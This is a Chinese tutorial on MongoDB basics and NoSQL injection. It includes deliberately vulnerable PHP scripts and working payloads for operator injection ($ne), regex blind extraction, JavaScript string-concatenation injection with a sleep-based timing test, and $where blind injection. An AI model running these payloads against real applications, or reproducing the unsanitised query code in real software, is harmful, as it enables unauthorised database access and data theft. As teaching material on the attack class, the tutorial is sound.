MongoDB 注入
目录
Nosql
NoSQL(NoSQL = Not Only SQL ),意即"不仅仅是SQL"。
传统数据库如mysql就是关系型数据库,而如MongoDB就是非关系型数据库,也被叫做NosqL
MongoDB
MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。
基本概念
与SQL对照
SQL术语/概念 | MongoDB术语/概念 | 解释/说明 |
---|---|---|
database | database | 数据库 |
table | collection | 数据库表/集合 |
row | document | 数据记录行/文档 |
column | field | 数据字段/域 |
index | index | 索引 |
table joins | 表连接,MongoDB不支持 | |
primary key | primary key | 主键,MongoDB自动将_id字段设置为主键 |
数据库操作
db 查看当前数据库
show dbs 查看所有数据库
use db_name 使用某数据库
创建数据库
use new_db_name 如果数据库不存在,则创建数据库,否则切换到指定数据库
db.new_db_name.insert({"xxx":"xxx}) 要显示此新数据库,我们需要向new_db_name 数据库插入一些数据。
删除数据库
db.dropDatabase()
集合操作
db.createCollection(name,option) 创建集合,第二个参数是附加参数
db.collection_name.drop() 删除集合
文档操作
插入文档
db.COLLECTION_NAME.insert({"xx":"x"})
或
db.COLLECTION_NAME.save({"xx":"x"})
查询文档
db.collection.find(query, projection)
query :可选,使用查询操作符指定查询条件
projection :可选,使用投影操作符指定返回的键。查询时返回文档中所有键值, 只需省略该参数即可(默认省略)
更新文档
db.collection.update(
<query>,
<update>,
{
upsert: <boolean>,
multi: <boolean>,
writeConcern: <document>
}
)
query : update的查询条件,类似sql update查询内where后面的。
update : update的对象和一些更新的操作符(如$,$inc...)等,也可以理解为sql update查询内set后面的
upsert : 可选,这个参数的意思是,如果不存在update的记录,是否插入objNew,true为插入,默认是false,不插入。
multi : 可选,mongodb 默认是false,只更新找到的第一条记录,如果这个参数为true,就把按条件查出来多条记录全部更新。
writeConcern :可选,抛出异常的级别。
删除文档
db.collection.remove(
<query>,
<justOne>
)
query :(可选)删除的文档的条件。
justOne : (可选)如果设为 true 或 1,则只删除一个文档,如果不设置该参数,或使用默认值 false,则删除所有匹配条件的文档。
MongoDB 注入
所用mongodb驱动
注入根据代码咋写大概有两种情况 一个是代码里直接写死数据库操作的字符串然后执行
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$query = "db.table.save({'newsid':1})"; //增
$query = "db.table.find({'newsid':1})"; //查
$query = "db.table.remove({'newsid':1})"; //减
$query = "db.table.update({'newsid':1},{'newsid',2})"; 改
$result = $db->execute($query);
一个是使用MongoDB提供的方法进行数据库操作
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$coll->save(); //增
$coll->find(); //查
$coll->remove(); //减
$coll->update(); //改
MongoDB函数注入
数组绑定注入
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
'username'=>$username,
'password'=>$password
);
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
foreach ($data as $user) {
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo '未找到';
}
?>
正常业务逻辑
url?username=tom&password=123456
注入
url?username[$ne]=xxxx&password[$ne]=xxxx
这个参数发过去后,多维数组解析后,代码内部就是这个情况
$data = array(
'username'=>array('$ne'=>"xxxx"),
'password'=>array('$ne'=>"xxxx")
);
执行的数据库语句就是 db.test.find({username:{'$ne':'xxxx'},password:{'$ne':'xxxx'}});
就是查询test集合中的 username不为xxxx,password不为xxxx的结果。换而言之就是查询test集合中所有数据
相当于mysql:select * from test where username!='test' and password!='test';
盲注:利用正则
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$lock = $_POST['lock'];
$key = $_POST['key'];
if (is_array($lock)) {
$data = array(
'lock'=>$lock);
$data = $coll->find($data);
if ($data->count()>0) {
echo 'the lock is right,but wrong key';
}else{
echo 'lock is wrong';
}
}else{
if ($lock == 'aabbccdd'&&$key=='aabbccdd') {
echo 'Your flag is xxxxxxx';
}else{
echo 'lock is wrong';
}
}
?>
payload
key=1&lock[$regex]=^a
key=1&lock[$regex]=^b
key=1&lock[$regex]=^c
.....
相当于:
db.test.find({lock:{'$regex':'^a'}});
db.test.find({lock:{'$regex':'^b'}});
db.test.find({lock:{'$regex':'^c'}});
db.test.find({lock:{'$regex':'^ca'}});
…… ……
db.test.find({lock:{'$regex':'^aabbccdd'}});
字符串拼接
#!php
<?php
$username = $_GET['username'];
$password = $_GET['password'];
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
//$query = "return db.test.findOne();";
//echo $query;
$mongo = new mongoclient();
$db = $mongo->myinfo;
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."</br>";
echo 'password:'.$data['retval']['password']."</br>";
}else{
echo '未找到';
}
}else{
echo $data['errmsg'];
}
?>
本质上攻击手法还是字符拼接然后加注释符
http://127.0.0.1/1.php?username=test'});return {username:tojson(db.getCollectionNames()),password:2};//\&password=test
高版本好像不能加注释符了,那就使用闭合的方法即可。 这个payload是盲注
http://127.0.0.1/1.php?username=test'});if (db.version() > "0") { sleep(10000); exit; }var b=({a:'1\&password=test
where注入 demo
在Mongdb中可以使用\$where操作符,相当于sql语句中的where限制语句,mongodb中的\$where操作符常常引入一个js的函数来作为限制条件,当js函数中的字符串存在未过滤的用户输入时,注入就产生了。
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->news; //选择集合
$news = $_GET['news'];
$function = "function() {if(this.news == '$news') return true}";
echo $function;
$result = $coll->find(array('$where'=>$function));
if ($result->count()>0) {
echo '该新闻存在';
}else{
echo '该新闻不存在';
}
?>
本质上就相当于
select * from news where news='\$news',那就字符串拼接就行了,和mysql注入差不多
盲注payload
http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames().length>0%26%26'1'=='1
http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0][0]=='m'%26%26'1'=='1
http://127.0.0.1/3.php?news=test'%26%26tojson(db.user.find()[0])[0]=='{'%26%26'1'=='1
因为db.user.find()返回的不是一个字符串,无法取出字符进行比较,我们可以将它转化成一个json字符串,就可以比较了。 道理讲明白了,剩下的都是体力活,用python或者php写下小脚本就能实现自动化。
ref
https://wooyun.js.org/drops/Mongodb注入攻击.html